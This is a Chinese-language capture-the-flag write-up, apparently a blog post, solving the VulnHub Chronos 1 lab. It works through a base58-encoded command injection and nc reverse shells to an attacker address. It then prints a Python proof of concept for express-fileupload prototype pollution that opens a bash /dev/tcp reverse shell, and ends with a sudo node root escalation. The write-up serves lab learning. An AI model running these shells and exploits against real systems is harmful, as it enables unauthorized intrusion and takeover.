VnlnHub CHRONOS 1

发布于:2022-12-30 ⋅ 阅读:(453) ⋅ 点赞:(0)

靶场搭建

靶场下载地址:Chronos: 1 ~ VulnHub

下载下来是虚拟机.ova压缩文件,这里提示了这是VirtualBox虚拟机,不是VMware虚拟机,我尝试用VMware虚拟机打开报错了

用VirtualBox打开虚拟机之后,上网搜索了如何让将VirtualBox的虚拟机和VMware的虚拟机置于同一网络下,没有搜索到(因为我的kali攻击机是VMvare上的机器,而且我用的是校园网,属于内网,而且需要认证,所以用不了桥接模式)

所以我就想到将VirtualBox的机器转换为VMware的机器,在VMware上打开,具体操作看我另一篇文章:如何将VirtualBox虚拟机转换到VMware中_奋斗吧!小胖子的博客-CSDN博客

打开虚拟机之后发现虚拟机无法自动获取ip,解决办法看我另一篇文章:靶机无法自己获取ip地址解决办法_奋斗吧!小胖子的博客-CSDN博客

打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)

开启虚拟机

渗透测试

由于不知道靶机ip,所以需要扫描NAT的网段

128是kali攻击机,所以133是靶机

扫描靶机端口服务开放情况

开放了22端口,存在ssh服务为

开放了80端口,存在http服务,且中间件服务器为apache 2.4.29

开放了8000端口,存在http服务,且使用了Node.js express框架

先访问以下80端口的WEB

发现有两个资源没有加载出来

抓包看看请求了哪些资源

我们发现有一段js代码,经过了一些混淆

我们使用cyberchef工具还原这段js代码

经过还原后,我们发现请求了一段url

https://blog.csdn.net/weixin_45682839/article/details/126670210

请求了chronos.local这个域名的8000端口

刚才在扫描端口开放情况的时候,我们有扫描到这台主机的8000端口开放

所以猜测chronos.local就是本机,所以我们需要修改/etc/hosts文件,让这段url正常解析

修改后刷新页面,发现页面上多了一段文字,是时间

返回结果是时间,再回去看那段url,发现后面的参数format和日期联系起来一般是是格式化日期格式

把后面那段编码解码看看

发现是base58编码,而且确实为时间输出的格式

而且这段格式约束似乎是用+拼接到了什么语句后面

联想到系统命令date 后面拼接格式来输出时间

所以如果这是一段命令的话我们试一下是否存在命令注入

我们在burp上抓包,发送到repeater模块

构造base58的payload

果然存在命令注入

接下来利用命令注入来获得shell

查看/bin下有什么可以执行来获得shell

发现存在nc

现在kali上监听4444端口

执行nc 192.168.52.128 4444 -e /bin/bash 命令

发现出错了,而且没有连接成功,说明可能靶机上的nc不支持-e参数

利用nc串联

在kali上同时监听4444和5555两个端口

执行nc 192.168.52.128 4444 | /bin/bash | nc 192.168.52.128 5555

发现也出错了

但是连接建立成功

在/home/imera目录下发现一个user.txt应该是flag文件,但是没有权限读取

所以现在需要进行提权

内核提权

发现内核版本为4.15.0

没有找到可以提权的漏洞

sudo提权

sudo -l 查看是否有可提权的命令

发现没有回显不能通过这种方式提权

SUID提权

SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限

通过命令

find / -perm -4000 2>/dev/null查看是否具有root权限的命令

常见可用于提权root权限文件

        nmap

        vim

        find

        bash

        more

        less

        nano

        cp

        awk

没有发现可以利用的文件

这些方法都不行,我们回到网站目录下,我们发现后端是由js来写的

并且使用了node.js express框架

并且在package.json文件中看到了版本为4.17.1

找相应框架的版本漏洞,没有找到可以利用的漏洞

于是去寻找其它办法

在/opt目录下发现了一个chronos-v2目录

进入到chronos-v2目录

发现这可能是另一个web应用,也存在前端后端

进入到后端,发现也是由node.js写的

发现也是使用了express框架,而且还使用了一个类似文件上传express-fileupload1.1.7框架

搜索响应框架版本漏洞

找到一个可以利用的漏洞,并且还可以RCE

看一下服务端代码

发现这个paeseNested被设置为TRUE,这个是漏洞利用的一个条件

并且发现这个web运行在本地127.0.0.1的8080端口

接下来利用漏洞来获得shell

找到一个python的poc

port requests

cmd = 'bash -c "bash -i &> /dev/tcp/192.168.52.128/6666 0>&1"'

# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://127.0.0.1:8080')

先将这段代码在kali上保存到一个python文件中

上传到靶机上

在kali上利用python搭建一个临时网站用于传输文件

python2 -m SimpleHTTPServer 80

在靶机上利用wget下载文件(要先进入/tmp目录,不然保存不了文件)

wget http://192.168.52.128/1.py

下载文件成功之后,在kali监听6666端口

执行python文件(注意要用python3,python2会不成功)

成功获得imera用户的shell

获得到第一个shell

接下来继续提权

sudo提权

sudo -l 查看是否有可提权的命令

发现存在可以利用的命令

我们这里利用node来进行提权,node是一门和python类似的脚本语言

执行下面这段代码

sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'

提权成功

获得到第二个flag